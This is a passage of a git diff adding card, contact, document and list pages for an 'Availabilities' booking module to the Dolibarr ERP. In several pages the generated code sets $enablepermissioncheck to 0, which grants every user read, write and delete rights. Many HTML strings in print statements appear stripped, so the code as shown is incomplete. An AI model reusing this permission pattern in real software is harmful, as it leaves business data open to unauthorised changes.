      '; + print ''."\n"; + + // Common attributes + //$keyforbreak='fieldkeytoswitchonsecondcolumn'; // We change column just before this field + //unset($object->fields['fk_project']); // Hide field already shown in banner + //unset($object->fields['fk_soc']); // Hide field already shown in banner + include DOL_DOCUMENT_ROOT.'/core/tpl/commonfields_view.tpl.php'; + + // Other attributes. Fields from hook formObjectOptions and Extrafields. + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_view.tpl.php'; + + print '
      '; + print '
      '; + print '
      '; + + print '
      '; + + print dol_get_fiche_end(); + + + /* + * Lines + */ + + if (!empty($object->table_element_line)) { + // Show object lines + $result = $object->getLinesArray(); + + print '
      + + + + + + '; + + if (!empty($conf->use_javascript_ajax) && $object->status == 0) { + include DOL_DOCUMENT_ROOT.'/core/tpl/ajaxrow.tpl.php'; + } + + print '
      '; + if (!empty($object->lines) || ($object->status == $object::STATUS_DRAFT && $permissiontoadd && $action != 'selectlines' && $action != 'editline')) { + print ''; + } + + if (!empty($object->lines)) { + $object->printObjectLines($action, $mysoc, null, GETPOST('lineid', 'int'), 1); + } + + // Form to add new line + if ($object->status == 0 && $permissiontoadd && $action != 'selectlines') { + if ($action != 'editline') { + // Add products/services form + + $parameters = array(); + $reshook = $hookmanager->executeHooks('formAddObjectLine', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + if (empty($reshook)) + $object->formAddObjectLine(1, $mysoc, $soc); + } + } + + if (!empty($object->lines) || ($object->status == $object::STATUS_DRAFT && $permissiontoadd && $action != 'selectlines' && $action != 'editline')) { + print '
      '; + } + print '
      '; + + print "
      \n"; + } + + + // Buttons for actions + + if ($action != 'presend' && $action != 'editline') { + print '
      '."\n"; + $parameters = array(); + $reshook = $hookmanager->executeHooks('addMoreActionsButtons', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); + } + + if (empty($reshook)) { + // Send + if (empty($user->socid)) { + print dolGetButtonAction($langs->trans('SendMail'), '', 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=presend&mode=init&token='.newToken().'#formmailbeforetitle'); + } + + // Back to draft + if ($object->status == $object::STATUS_VALIDATED) { + print dolGetButtonAction($langs->trans('SetToDraft'), '', 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=confirm_setdraft&confirm=yes&token='.newToken(), '', $permissiontoadd); + } + + print dolGetButtonAction($langs->trans('Modify'), '', 'default', $_SERVER["PHP_SELF"].'?id='.$object->id.'&action=edit&token='.newToken(), '', $permissiontoadd); + + // Validate + if ($object->status == $object::STATUS_DRAFT) { + if (empty($object->table_element_line) || (is_array($object->lines) && count($object->lines) > 0)) { + print dolGetButtonAction($langs->trans('Validate'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=confirm_validate&confirm=yes&token='.newToken(), '', $permissiontoadd); + } else { + $langs->load("errors"); + print dolGetButtonAction($langs->trans("ErrorAddAtLeastOneLineFirst"), $langs->trans("Validate"), 'default', '#', '', 0); + } + } + + // Clone + print dolGetButtonAction($langs->trans('ToClone'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.(!empty($object->socid)?'&socid='.$object->socid:'').'&action=clone&token='.newToken(), '', $permissiontoadd); + + // Generate link + print dolGetButtonAction($langs->trans('generateLink'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=generate', '', $permissiontoadd); + + /* + if ($permissiontoadd) { + if ($object->status == $object::STATUS_ENABLED) { + print dolGetButtonAction($langs->trans('Disable'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=disable&token='.newToken(), '', $permissiontoadd); + } else { + print dolGetButtonAction($langs->trans('Enable'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=enable&token='.newToken(), '', $permissiontoadd); + } + } + if ($permissiontoadd) { + if ($object->status == $object::STATUS_VALIDATED) { + print dolGetButtonAction($langs->trans('Cancel'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=close&token='.newToken(), '', $permissiontoadd); + } else { + print dolGetButtonAction($langs->trans('Re-Open'), '', 'default', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=reopen&token='.newToken(), '', $permissiontoadd); + } + } + */ + + // Delete (need delete permission, or if draft, just need create/modify permission) + print dolGetButtonAction($langs->trans('Delete'), '', 'delete', $_SERVER['PHP_SELF'].'?id='.$object->id.'&action=delete&token='.newToken(), '', $permissiontodelete || ($object->status == $object::STATUS_DRAFT && $permissiontoadd)); + } + print '
      '."\n"; + } + + + // Select mail models is same action as presend + if (GETPOST('modelselected')) { + $action = 'presend'; + } + + if ($action != 'presend') { + print '
      '; + print ''; // ancre + + $includedocgeneration = 0; + + // Documents + if ($includedocgeneration) { + $objref = dol_sanitizeFileName($object->ref); + $relativepath = $objref.'/'.$objref.'.pdf'; + $filedir = $conf->bookcal->dir_output.'/'.$object->element.'/'.$objref; + $urlsource = $_SERVER["PHP_SELF"]."?id=".$object->id; + $genallowed = $permissiontoread; // If you can read, you can build the PDF to read content + $delallowed = $permissiontoadd; // If you can create/edit, you can remove a file on card + print $formfile->showdocuments('bookcal:Availabilities', $object->element.'/'.$objref, $filedir, $urlsource, $genallowed, $delallowed, $object->model_pdf, 1, 0, 0, 28, 0, '', '', '', $langs->defaultlang); + } + + // Show links to link elements + $linktoelem = $form->showLinkToObjectBlock($object, null, array('availabilities')); + $somethingshown = $form->showLinkedObjectBlock($object, $linktoelem); + + + print '
      '; + + $MAXEVENT = 10; + + $morehtmlcenter = dolGetButtonTitle($langs->trans('SeeAll'), '', 'fa fa-bars imgforviewmode', dol_buildpath('/bookcal/availabilities_agenda.php', 1).'?id='.$object->id); + + // List of actions on element + include_once DOL_DOCUMENT_ROOT.'/core/class/html.formactions.class.php'; + $formactions = new FormActions($db); + $somethingshown = $formactions->showactions($object, $object->element.'@'.$object->module, (is_object($object->thirdparty) ? $object->thirdparty->id : 0), 1, '', $MAXEVENT, '', $morehtmlcenter); + + print '
      '; + } + + //Select mail models is same action as presend + if (GETPOST('modelselected')) { + $action = 'presend'; + } + + // Presend form + $modelmail = 'availabilities'; + $defaulttopic = 'InformationMessage'; + $diroutput = $conf->bookcal->dir_output; + $trackid = 'availabilities'.$object->id; + + include DOL_DOCUMENT_ROOT.'/core/tpl/card_presend.tpl.php'; +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/hrm/position_contact.php b/htdocs/bookcal/availabilities_contact.php similarity index 75% rename from htdocs/hrm/position_contact.php rename to htdocs/bookcal/availabilities_contact.php index 4d85987f4d6..8dfa04288f7 100644 --- a/htdocs/hrm/position_contact.php +++ b/htdocs/bookcal/availabilities_contact.php @@ -1,9 +1,6 @@ - * Copyright (C) 2021 Gauthier VERDOL - * Copyright (C) 2021 Greg Rastklan - * Copyright (C) 2021 Jean-Pascal BOUDET - * Copyright (C) 2021 Grégory BLEMAND + * Copyright (C) 2022 Alice Adminson * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -20,23 +17,21 @@ */ /** - * \file htdocs/hrm/position_contact.php - * \ingroup hrm - * \brief Tab for contacts linked to Job Position + * \file availabilities_contact.php + * \ingroup bookcal + * \brief Tab for contacts linked to Availabilities */ // Load Dolibarr environment require '../main.inc.php'; - -require_once DOL_DOCUMENT_ROOT . '/contact/class/contact.class.php'; -require_once DOL_DOCUMENT_ROOT . '/core/class/html.formcompany.class.php'; -require_once DOL_DOCUMENT_ROOT . '/hrm/class/position.class.php'; -require_once DOL_DOCUMENT_ROOT . '/hrm/lib/hrm_position.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/contact/class/contact.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/class/availabilities.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/lib/bookcal_availabilities.lib.php'; // Load translation files required by the page -$langs->loadLangs(array("hrm", "companies", "other", "mails")); +$langs->loadLangs(array("agenda", "companies", "other", "mails")); -// Get Parameters $id = (GETPOST('id') ?GETPOST('id', 'int') : GETPOST('facid', 'int')); // For backward compatibility $ref = GETPOST('ref', 'alpha'); $lineid = GETPOST('lineid', 'int'); @@ -44,27 +39,34 @@ $socid = GETPOST('socid', 'int'); $action = GETPOST('action', 'aZ09'); // Initialize technical objects -$object = new Position($db); +$object = new Availabilities($db); $extrafields = new ExtraFields($db); -$diroutputmassaction = $conf->hrm->dir_output.'/temp/massgeneration/'.$user->id; -$hookmanager->initHooks(array('positioncontact', 'globalcard')); // Note that conf->hooks_modules contains array - +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('availabilitiescontact', 'globalcard')); // Note that conf->hooks_modules contains array // Fetch optionals attributes and labels $extrafields->fetch_name_optionals_label($object->table_element); // Load object include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals -// Permissions -$permission = $user->rights->hrm->position->write; +// There is several ways to check permission. +// Set $enablepermissioncheck to 1 to enable a minimum low level of checks +$enablepermissioncheck = 0; +if ($enablepermissioncheck) { + $permissiontoread = $user->hasRight('bookcal', 'availabilities', 'read'); + $permission = $user->hasRight('bookcal', 'availabilities', 'write'); +} else { + $permissiontoread = 1; + $permission = 1; +} // Security check (enable the most restrictive one) //if ($user->socid > 0) accessforbidden(); //if ($user->socid > 0) $socid = $user->socid; //$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); //restrictedArea($user, $object->element, $object->id, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); -//if (empty($conf->hrm->enabled)) accessforbidden(); -//if (!$permissiontoread) accessforbidden(); +if (!isModEnabled('bookcal')) accessforbidden(); +if (!$permissiontoread) accessforbidden(); /* @@ -107,7 +109,7 @@ if ($action == 'addcontact' && $permission) { * View */ -$title = $langs->trans('Position')." - ".$langs->trans('ContactsAddresses'); +$title = $langs->trans('Availabilities')." - ".$langs->trans('ContactsAddresses'); $help_url = ''; //$help_url='EN:Module_Third_Parties|FR:Module_Tiers|ES:Empresas'; llxHeader('', $title, $help_url); @@ -128,11 +130,11 @@ if ($object->id) { /* * Show tabs */ - $head = positionCardPrepareHead($object); + $head = availabilitiesPrepareHead($object); - print dol_get_fiche_head($head, 'contact', '', -1, $object->picto); + print dol_get_fiche_head($head, 'contact', $langs->trans("Availabilities"), -1, $object->picto); - $linkback = ''.$langs->trans("BackToList").''; + $linkback = ''.$langs->trans("BackToList").''; $morehtmlref = '
      '; /* @@ -142,14 +144,14 @@ if ($object->id) { // Thirdparty $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . (is_object($object->thirdparty) ? $object->thirdparty->getNomUrl(1) : ''); // Project - if (isModEnabled('project')) + if (! empty($conf->project->enabled)) { $langs->load("projects"); $morehtmlref.='
      '.$langs->trans('Project') . ' '; if ($permissiontoadd) { if ($action != 'classify') - //$morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' : '; + //$morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' : '; $morehtmlref.=' : '; if ($action == 'classify') { //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); @@ -163,7 +165,7 @@ if ($object->id) { $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); } } else { - if (!empty($object->fk_project)) { + if (! empty($object->fk_project)) { $proj = new Project($db); $proj->fetch($object->fk_project); $morehtmlref .= ': '.$proj->getNomUrl(); diff --git a/htdocs/bookcal/availabilities_document.php b/htdocs/bookcal/availabilities_document.php new file mode 100644 index 00000000000..96700096ee6 --- /dev/null +++ b/htdocs/bookcal/availabilities_document.php @@ -0,0 +1,211 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file availabilities_document.php + * \ingroup bookcal + * \brief Tab for documents linked to Availabilities + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/images.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/class/availabilities.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/lib/bookcal_availabilities.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array("agenda", "companies", "other", "mails")); + + +$action = GETPOST('action', 'aZ09'); +$confirm = GETPOST('confirm'); +$id = (GETPOST('socid', 'int') ? GETPOST('socid', 'int') : GETPOST('id', 'int')); +$ref = GETPOST('ref', 'alpha'); + +// Get parameters +$limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page == -1) { + $page = 0; +} // If $page is not defined, or '' or -1 +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; +if (!$sortorder) { + $sortorder = "ASC"; +} +if (!$sortfield) { + $sortfield = "name"; +} +//if (! $sortfield) $sortfield="position_name"; + +// Initialize technical objects +$object = new Availabilities($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('availabilitiesdocument', 'globalcard')); // Note that conf->hooks_modules contains array +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); + +// Load object +include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals + +if ($id > 0 || !empty($ref)) { + $upload_dir = $conf->bookcal->multidir_output[$object->entity ? $object->entity : $conf->entity]."/availabilities/".get_exdir(0, 0, 0, 1, $object); +} + +// There is several ways to check permission. +// Set $enablepermissioncheck to 1 to enable a minimum low level of checks +$enablepermissioncheck = 0; +if ($enablepermissioncheck) { + $permissiontoread = $user->hasRight('bookcal', 'availabilities', 'read'); + $permissiontoadd = $user->hasRight('bookcal', 'availabilities', 'write'); // Used by the include of actions_addupdatedelete.inc.php and actions_linkedfiles.inc.php +} else { + $permissiontoread = 1; + $permissiontoadd = 1; +} + +// Security check (enable the most restrictive one) +//if ($user->socid > 0) accessforbidden(); +//if ($user->socid > 0) $socid = $user->socid; +//$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +//restrictedArea($user, $object->element, $object->id, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); +if (!isModEnabled('bookcal')) accessforbidden(); +if (!$permissiontoread) accessforbidden(); + + +/* + * Actions + */ + +include DOL_DOCUMENT_ROOT.'/core/actions_linkedfiles.inc.php'; + + +/* + * View + */ + +$form = new Form($db); + +$title = $langs->trans("Availabilities").' - '.$langs->trans("Files"); +$help_url = ''; +//$help_url='EN:Module_Third_Parties|FR:Module_Tiers|ES:Empresas'; +llxHeader('', $title, $help_url); + +if ($object->id) { + /* + * Show tabs + */ + $head = availabilitiesPrepareHead($object); + + print dol_get_fiche_head($head, 'document', $langs->trans("Availabilities"), -1, $object->picto); + + + // Build file list + $filearray = dol_dir_list($upload_dir, "files", 0, '', '(\.meta|_preview.*\.png)$', $sortfield, (strtolower($sortorder) == 'desc' ?SORT_DESC:SORT_ASC), 1); + $totalsize = 0; + foreach ($filearray as $key => $file) { + $totalsize += $file['size']; + } + + // Object card + // ------------------------------------------------------------ + $linkback = ''.$langs->trans("BackToList").''; + + $morehtmlref = '
      '; + /* + // Ref customer + $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); + $morehtmlref.=$form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); + // Thirdparty + $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . (is_object($object->thirdparty) ? $object->thirdparty->getNomUrl(1) : ''); + // Project + if (! empty($conf->project->enabled)) + { + $langs->load("projects"); + $morehtmlref.='
      '.$langs->trans('Project') . ' '; + if ($permissiontoadd) + { + if ($action != 'classify') + //$morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' : '; + $morehtmlref.=' : '; + if ($action == 'classify') { + //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); + $morehtmlref.='
      '; + $morehtmlref.=''; + $morehtmlref.=''; + $morehtmlref.=$formproject->select_projects($object->socid, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref.=''; + $morehtmlref.='
      '; + } else { + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + } + } else { + if (! empty($object->fk_project)) { + $proj = new Project($db); + $proj->fetch($object->fk_project); + $morehtmlref .= ': '.$proj->getNomUrl(); + } else { + $morehtmlref .= ''; + } + } + }*/ + $morehtmlref .= '
      '; + + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + + print '
      '; + + print '
      '; + print ''; + + // Number of files + print ''; + + // Total size + print ''; + + print '
      '.$langs->trans("NbOfAttachedFiles").''.count($filearray).'
      '.$langs->trans("TotalSizeOfAttachedFiles").''.$totalsize.' '.$langs->trans("bytes").'
      '; + + print '
      '; + + print dol_get_fiche_end(); + + $modulepart = 'bookcal'; + //$permissiontoadd = $user->hasRight('bookcal', 'availabilities', 'write'); + $permissiontoadd = 1; + //$permtoedit = $user->hasRight('bookcal', 'availabilities', 'write'); + $permtoedit = 1; + $param = '&id='.$object->id; + + //$relativepathwithnofile='availabilities/' . dol_sanitizeFileName($object->id).'/'; + $relativepathwithnofile = 'availabilities/'.dol_sanitizeFileName($object->ref).'/'; + + include DOL_DOCUMENT_ROOT.'/core/tpl/document_actions_post_headers.tpl.php'; +} else { + accessforbidden('', 0, 1); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/bookcal/availabilities_list.php b/htdocs/bookcal/availabilities_list.php new file mode 100644 index 00000000000..fd5866eaff8 --- /dev/null +++ b/htdocs/bookcal/availabilities_list.php @@ -0,0 +1,794 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file availabilities_list.php + * \ingroup bookcal + * \brief List page for availabilities + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; + +// load bookcal libraries +require_once __DIR__.'/class/availabilities.class.php'; + +// for other modules +//dol_include_once('/othermodule/class/otherobject.class.php'); + +// Load translation files required by the page +$langs->loadLangs(array("agenda", "other")); + +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); + +$action = GETPOST('action', 'aZ09') ?GETPOST('action', 'aZ09') : 'view'; // The action 'add', 'create', 'edit', 'update', 'view', ... +$massaction = GETPOST('massaction', 'alpha'); // The bulk action (combo box choice into lists) +$show_files = GETPOST('show_files', 'int'); // Show files area generated by bulk actions ? +$confirm = GETPOST('confirm', 'alpha'); // Result of a confirmation +$cancel = GETPOST('cancel', 'alpha'); // We click on a Cancel button +$toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected into a list +$contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : str_replace('_', '', basename(dirname(__FILE__)).basename(__FILE__, '.php')); // To manage different context of search +$backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page +$optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') +$mode = GETPOST('mode', 'aZ'); + +// Load variable for pagination +$limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters + $page = 0; +} +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; + +// Initialize technical objects +$object = new Availabilities($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('availabilitieslist')); // Note that conf->hooks_modules contains array + +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); +//$extrafields->fetch_name_optionals_label($object->table_element_line); + +$search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); + +// Default sort order (if not yet defined by previous GETPOST) +if (!$sortfield) { + reset($object->fields); // Reset is required to avoid key() to return null. + $sortfield = "t.".key($object->fields); // Set here default search field. By default 1st field in definition. +} +if (!$sortorder) { + $sortorder = "ASC"; +} + +// Initialize array of search criterias +$search_all = GETPOST('search_all', 'alphanohtml'); +$search = array(); +foreach ($object->fields as $key => $val) { + if (GETPOST('search_'.$key, 'alpha') !== '') { + $search[$key] = GETPOST('search_'.$key, 'alpha'); + } + if (preg_match('/^(date|timestamp|datetime)/', $val['type'])) { + $search[$key.'_dtstart'] = dol_mktime(0, 0, 0, GETPOST('search_'.$key.'_dtstartmonth', 'int'), GETPOST('search_'.$key.'_dtstartday', 'int'), GETPOST('search_'.$key.'_dtstartyear', 'int')); + $search[$key.'_dtend'] = dol_mktime(23, 59, 59, GETPOST('search_'.$key.'_dtendmonth', 'int'), GETPOST('search_'.$key.'_dtendday', 'int'), GETPOST('search_'.$key.'_dtendyear', 'int')); + } +} + +// List of fields to search into when doing a "search in all" +$fieldstosearchall = array(); +foreach ($object->fields as $key => $val) { + if (!empty($val['searchall'])) { + $fieldstosearchall['t.'.$key] = $val['label']; + } +} + +// Definition of array of fields for columns +$arrayfields = array(); +foreach ($object->fields as $key => $val) { + // If $val['visible']==0, then we never show the field + if (!empty($val['visible'])) { + $visible = (int) dol_eval($val['visible'], 1); + $arrayfields['t.'.$key] = array( + 'label'=>$val['label'], + 'checked'=>(($visible < 0) ? 0 : 1), + 'enabled'=>(abs($visible) != 3 && dol_eval($val['enabled'], 1)), + 'position'=>$val['position'], + 'help'=> isset($val['help']) ? $val['help'] : '' + ); + } +} +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_array_fields.tpl.php'; + +$object->fields = dol_sort_array($object->fields, 'position'); +//$arrayfields['anotherfield'] = array('type'=>'integer', 'label'=>'AnotherField', 'checked'=>1, 'enabled'=>1, 'position'=>90, 'csslist'=>'right'); +$arrayfields = dol_sort_array($arrayfields, 'position'); + +// There is several ways to check permission. +// Set $enablepermissioncheck to 1 to enable a minimum low level of checks +$enablepermissioncheck = 0; +if ($enablepermissioncheck) { + $permissiontoread = $user->hasRight('bookcal', 'availabilities', 'read'); + $permissiontoadd = $user->hasRight('bookcal', 'availabilities', 'write'); + $permissiontodelete = $user->hasRight('bookcal', 'availabilities', 'delete'); +} else { + $permissiontoread = 1; + $permissiontoadd = 1; + $permissiontodelete = 1; +} + +// Security check (enable the most restrictive one) +if ($user->socid > 0) accessforbidden(); +//if ($user->socid > 0) accessforbidden(); +//$socid = 0; if ($user->socid > 0) $socid = $user->socid; +//$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +//restrictedArea($user, $object->element, 0, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); +if (!isModEnabled('bookcal')) accessforbidden('Module not enabled'); +if (!$permissiontoread) accessforbidden(); + + +/* + * Actions + */ + +if (GETPOST('cancel', 'alpha')) { + $action = 'list'; + $massaction = ''; +} +if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massaction != 'confirm_presend') { + $massaction = ''; +} + +$parameters = array(); +$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} + +if (empty($reshook)) { + // Selection of new fields + include DOL_DOCUMENT_ROOT.'/core/actions_changeselectedfields.inc.php'; + + // Purge search criteria + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All tests are required to be compatible with all browsers + foreach ($object->fields as $key => $val) { + $search[$key] = ''; + if (preg_match('/^(date|timestamp|datetime)/', $val['type'])) { + $search[$key.'_dtstart'] = ''; + $search[$key.'_dtend'] = ''; + } + } + $toselect = array(); + $search_array_options = array(); + } + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha') + || GETPOST('button_search_x', 'alpha') || GETPOST('button_search.x', 'alpha') || GETPOST('button_search', 'alpha')) { + $massaction = ''; // Protection to avoid mass action if we force a new search during a mass action confirmation + } + + // Mass actions + $objectclass = 'Availabilities'; + $objectlabel = 'Availabilities'; + $uploaddir = $conf->bookcal->dir_output; + include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; +} + + + +/* + * View + */ + +$form = new Form($db); + +$now = dol_now(); + +//$help_url = "EN:Module_Availabilities|FR:Module_Availabilities_FR|ES:Módulo_Availabilities"; +$help_url = ''; +$title = $langs->trans("Availabilities"); +$morejs = array(); +$morecss = array(); + + +// Build and execute select +// -------------------------------------------------------------------- +$sql = 'SELECT '; +$sql .= $object->getFieldList('t'); +// Add fields from extrafields +if (!empty($extrafields->attributes[$object->table_element]['label'])) { + foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { + $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? ", ef.".$key." as options_".$key : ''); + } +} +// Add fields from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; +$sql = preg_replace('/,\s*$/', '', $sql); +//$sql .= ", COUNT(rc.rowid) as anotherfield"; +$sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; +//$sql .= " LEFT JOIN ".MAIN_DB_PREFIX."anothertable as rc ON rc.parent = t.rowid"; +if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (t.rowid = ef.fk_object)"; +} +// Add table from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; +if ($object->ismultientitymanaged == 1) { + $sql .= " WHERE t.entity IN (".getEntity($object->element).")"; +} else { + $sql .= " WHERE 1 = 1"; +} +foreach ($search as $key => $val) { + if (array_key_exists($key, $object->fields)) { + if ($key == 'status' && $search[$key] == -1) { + continue; + } + $mode_search = (($object->isInt($object->fields[$key]) || $object->isFloat($object->fields[$key])) ? 1 : 0); + if ((strpos($object->fields[$key]['type'], 'integer:') === 0) || (strpos($object->fields[$key]['type'], 'sellist:') === 0) || !empty($object->fields[$key]['arrayofkeyval'])) { + if ($search[$key] == '-1' || ($search[$key] === '0' && (empty($object->fields[$key]['arrayofkeyval']) || !array_key_exists('0', $object->fields[$key]['arrayofkeyval'])))) { + $search[$key] = ''; + } + $mode_search = 2; + } + if ($search[$key] != '') { + $sql .= natural_search("t.".$db->escape($key), $search[$key], (($key == 'status') ? 2 : $mode_search)); + } + } else { + if (preg_match('/(_dtstart|_dtend)$/', $key) && $search[$key] != '') { + $columnName = preg_replace('/(_dtstart|_dtend)$/', '', $key); + if (preg_match('/^(date|timestamp|datetime)/', $object->fields[$columnName]['type'])) { + if (preg_match('/_dtstart$/', $key)) { + $sql .= " AND t.".$db->escape($columnName)." >= '".$db->idate($search[$key])."'"; + } + if (preg_match('/_dtend$/', $key)) { + $sql .= " AND t.".$db->escape($columnName)." <= '".$db->idate($search[$key])."'"; + } + } + } + } +} +if ($search_all) { + $sql .= natural_search(array_keys($fieldstosearchall), $search_all); +} +//$sql.= dolSqlDateFilter("t.field", $search_xxxday, 